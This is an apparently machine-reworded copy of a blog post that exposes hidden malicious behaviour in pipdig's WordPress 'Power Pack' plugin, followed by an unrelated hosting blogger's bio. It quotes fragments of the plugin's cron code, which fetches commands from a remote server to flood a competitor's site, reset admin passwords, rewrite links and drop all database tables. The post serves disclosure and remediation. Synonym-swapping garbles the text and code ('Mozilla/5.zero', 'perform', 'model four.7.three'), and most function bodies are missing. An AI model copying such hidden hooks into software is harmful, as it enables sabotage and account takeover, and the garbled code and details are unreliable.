WordPress theme supplier pipdig utilizing buyer websites to DDoS rivals and so on.

I like WordPress. I make my residing from it. It’s no exaggeration to say that growing WordPress web sites has modified my life: it supplies me with an revenue that pays my mortgage and feeds my infants. Nonetheless, each on occasion one thing occurs within the WordPress group that will get my again up, and this week isn’t any exception.

An unnamed consumer approached me this week complaining that her web site, which was operating a theme she’d bought from a WordPress theme supplier, was behaving oddly. Amongst different issues, it was getting slower for no apparent motive. As velocity is a crucial rating issue for search engines like google (to not point out essential for retaining guests) I mentioned I’d do some digging. What I found completely blew me away; I’ve by no means seen something prefer it.

pipdig, one of many largest WordPress theme suppliers to bloggers, is distributing code dressed up because the “pipdig Energy Pack” plugin which amongst different issues:

  • is utilizing different blogger’s servers to carry out a DDoS on a competitor
  • is manipulating blogger’s content material to vary hyperlinks to competitor WordPress migration providers to level to the pipdig web site
  • is harvesting knowledge from blogger’s websites with out permission, instantly contravening numerous components of the GDPR
  • is utilizing the harvested knowledge to, amongst different issues, achieve entry to blogger’s websites by altering admin passwords
  • accommodates a ‘kill change’ which drops all database tables
  • intentionally disables different plugins that pipdig has determined are pointless, with out asking permission
  • hides admin notices and meta containers from WordPress core and different plugins from the dashboard, which may include very important info

Let’s break this down little by little.

pipdig p3 plugin performing a DDoS on a competitor

In /p3/inc/cron.php we now have the next block of code nested in a perform which WP Cron runs each single hour:

// Verify CDN cache
$url_3 = 'https://pipdigz.co.uk/p3/id39dqm3c0_license_h.txt';
$response = wp_safe_remote_get($url_3, $args);
if (!is_wp_error($response) && !empty($response['body'])) 

The code remark tells us that is “checking the CDN (content material supply community) cache”. It’s not. That is performing a GET request on a file (id39dqm3c0_license_h.txt) sat on pipdigz.co.uk, which yesterday morning returned ‘https://kotrynabassdesign.com/wp-admin/admin-ajax.php’ within the response physique.

When the response physique shouldn’t be empty, i.e. when it accommodates that URL, the next code sends a second GET request to the admin-ajax.php URL from the response, with a faked consumer agent:

$rcd = trim($response['body']);
$args = array('timeout' => 10, 'user-agent' => 'Mozilla/5.zero (Home windows NT 10.zero; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.zero.3112.113 Safari/537.36', 'reject_unsafe_urls' => true, 'blocking' => false, 'sslverify' => false);
wp_safe_remote_get($rcd.'&'.rand(zero,99999), $args);

So, each single hour evening and day, with none handbook intervention, any blogger operating the pipdig plugin will ship a request with a faked Consumer Agent to ‘https://kotrynabassdesign.com/wp-admin/admin-ajax.php’ with a random quantity string hooked up. That is successfully performing a small scale DDoS (Distributed Denial of Service) on kotrynabassdesign.com’s server.

I spoke to Kotryna about these requests to rule out some type of mutual association with pipdig, and she or he mentioned:

I really had enormous bother with my internet host they usually defined that my admin-ajax.php file was underneath some sort of assault [..] I can verify that I’ve by no means given pipdig any permissions to make requests to my servers. Nor was I ever in a partnership or any type of contact with them.

Additional, Kotryna offered me with conversations she had together with her host:

Notice the quotes from her server log file, particularly the precise Consumer Agent string recorded within the pipdig plugin (‘Mozilla/5.zero (Home windows NT 10.zero; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.zero.3112.113 Safari/537.36’) and the request to admin-ajax.php utilizing a random numbered question string precisely as per the request PHP.

Clarification 2019-03-29 20:00 GMT: Kotryna is the sufferer of the DDoS-like assault. She is under no circumstances implicated as a co-conspirator on this and has been extremely useful in coping with my enquiries.

The one exception to this DDoSing is for purchasers of pipdig’s personal internet hosting – as a result of the hourly cron runs this examine first:

if (function_exists('pipdighost_admin_footer')) 

…presumably in order to not decelerate the pipdig server(s) and to stop any finger being pointed at clients of theirs.

There may be additionally a second request an identical to this within the As soon as Each day cron, though I’ve not been capable of get it to return a URL within the physique but:

$url = 'https://pipdigz.co.uk/p3/id39dqm3c0_license.txt';
$response = wp_safe_remote_get($url, $args);
if (!is_wp_error($response) && !empty($response['body'])) 

Who is aware of who or what’s being spammed by that one.


pipdig manipulating blogger content material for hyperlinks

In /p3/inc/features.php, line 307 onwards:

perform p3_content_filter($content material) 
add_filter('the_content', 'p3_content_filter', 20);

Right here we now have pipdig’s plugin trying to find mentions of ‘blogerize.com‘ with the string cut up in two and rejoined – concatenated – to make it more durable to seek out mentions of rivals when doing a mass ‘Discover in Information’ throughout the plugin (amongst different issues). When the plugin finds hyperlinks to blogerize.com in blogger’s content material (posts, pages), they’re swapped out with a hyperlink to ‘pipdig.co/store/blogger-to-wordpress-migration/’ i.e. pipdig’s personal weblog migration providers. Swapping these hyperlinks out increase the search engine optimisation profit to pipdig, and the overwhelming majority of bloggers wouldn’t discover the switcheroo (particularly as if the web page/submit was edited, the hyperlink to blogerize would seem within the backend as regular).

pipdig harvesting knowledge & altering admin passwords

Again to /p3/inc/cron.php and the As soon as Hourly job:

$me = get_site_url();
// Verify for brand new social channels so as to add to navbar and so on
if (!get_transient('p3_news_new_user_wait')) 

Right here the code remark tells us this piece of code will ‘Verify for brand new social channels so as to add to navbar and so on’. Once more, blatant lies. This code performs a GET request on https://pipdigz.co.uk/p3/socialz.txt which is anticipating an e mail tackle within the response. When an e mail tackle is ‘obtained’ in GET request physique, the perform checks for the existence of that e mail tackle within the Customers desk, runs its personal ‘p3_check_social_links’ perform in opposition to it after which information the positioning URL (contained in $me) utilizing a script at https://pipdigz.co.uk/p3/socialz.php.

p3_check_social_links(), regardless of its identify, is a wrapper for a perform in /p3/inc/features.php line 195 which adjustments the consumer password to ‘p3_safe_styles’. In plain English: when the cron runs it checks for an e mail tackle in socialz.txt. If that e mail tackle exists, it adjustments the password to that account and logs your URL in socialz.php to permit entry to whomever has entry to that file. In case your admin e mail tackle had been returned by socialz.txt you’ll be chucked out of your admin account.

One blogger argued that this could possibly be used to supply blogger help to pipdig customers. Whereas that that is feasibly the case, it’s a completely unsavoury means of going about it for any of the next causes:

  • It’s a backdoor which will be activated at any time (not simply when help is required).
  • We don’t know who has entry to that knowledge: massive companies can’t maintain consumer passwords secret, why ought to we belief pipdig?
  • There are methods and means to help WordPress customers with out resetting their password.
  • This might simply be hijacked for malicious means
  • The password is correct there in plain textual content; I may monitor the socialz.txt file for a response and with a little bit of Googling simply discover out the corresponding blogs to e mail addresses and achieve entry with the insecure password.

Not accomplished but; a bit additional down cron.php a perform runs to reap an inventory of URLs of shoppers from one other competitor, lyricalhost.com:

if (!get_option('p3_check_linkded'))  (isset($dns[1]['target']) && (strpos($dns[1]['target'], 'ly'.'ri'.'calhost'.'.co'.'m') !== false)) ) 

Once more, notice the concatenation of strings to make it onerous to seek out references to this explicit host. Subsequent…

pipdig accommodates a kill change which wipes blogs

And now for the significantly nasty one: in /p3/inc/cron.php we now have the next:

$url_2 = 'https://pipdigz.co.uk/p3/id39dqm3c0.txt';
$response = wp_safe_remote_get($url_2, $args);
if (!is_wp_error($response) && !empty($response['body'])) 

This code performs a GET request on ‘https://pipdigz.co.uk/p3/id39dqm3c0.txt’. If it returns a weblog URL which matches yours, it seems to be for all tables with the WordPress prefix and drops them one after the other. In different phrases, in case your web site is on his kill listing, you may kiss goodbye to each submit, web page, plugin/normal settings, widget contents, theme customisations, any type knowledge or miscellaneous content material. Bang, gone, goodbye. When was the final time you took a full back-up of your WordPress database?

pipdig disabling plugins it deems pointless

Straight up impolite, in /p3/p3.php upon plugin activation the plugin deactivates a complete host of plugins with out asking:

$plugins = array(
	'hello-dolly/good day.php',

Additional down, one other bunch are deactivated however this time on admin_init, which might run each time you load a backend panel, making it doable to ever re-enable them whilst you had been operating pipdig’s plugin:

// Do not permit some plugins. Sorry not sorry.
perform p3_trust_me_you_dont_want_this() 
add_action('admin_init', 'p3_trust_me_you_dont_want_this');

A few of that is ethically questionable behaviour from a serious supplier of WordPress themes however may possibly be summarised as “you pay your cash, you takes your possibilities” as is the norm within the WordPress paid eco-system, however I can’t consider a single reliable motive for DDoSing rivals and operating DROP TABLES on random blogs.

Essential notice: I wrote this submit yesterday, and held on to it whereas I sought recommendation from a 3rd social gathering. In a single day, pipdig launched a plugin replace eradicating the related code from circulation. I assume his server logs recorded my requests/checks yesterday to the recordsdata listed. These issues apply to model four.7.three which you may obtain right here to confirm my claims.

As a result of pipdig is utilizing a 3rd social gathering updater moderately than distributing his plugin/themes through WordPress, he may feasibly roll an replace out at any time re-implementing the code that’s been eliminated, and worse. Whereas it is a theoretical threat related to all suppliers who promote themes and plugins away from the WordPress theme & plugin directories, I’m not conscious of some other supplier actively misusing the platform on this means.

In the event you’re affected by this, i.e. you’ve a pipdig theme/plugin, significantly for those who’re operating model four.7.three or earlier of the p3 energy pack, I like to recommend the next steps:

  • Again-up your WordPress recordsdata & database
  • Activate an alternate theme
  • Deactivate and take away the p3 energy pack plugin & any supplementary plugins it bundles with
  • Verify for any customers you don’t recognise and take away them
  • Reset your admin password(s)
  • Set up WP Crontrol or related cron administration plugin, and take away any cron jobs named p3_
  • Again-up your WordPress recordsdata & database once more

Alternatively, your host might be able to help you with transferring away from pipdig or eradicating traces of the code out of your server.

UPDATE 2019-03-29 23:32 GMT: hyperlink to Kotryna’s web site eliminated at her request

Jem Turner


NTH Secure

A gamer myself, A Open Source hobbyists, A IT Security professional, A WordPress Blogger. I fully understand privacy and boosted speeds are what those who take online hosting seriously seek. Fast, secure and reliable, I've found that a VPS and Web hosting is common nowadays. Bringing extensive IT experience to the table, I enjoy helping others fine-tune their hosting services by sharing industry tips, high tech tricks and useful advice here on my website. Check back often to learn new skills of the trade, including how to perform a VPS and Web hosting setup from start to finish. Ready to level up your skill with NTHsecure? Forego the wait … it’s time to crate!


Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.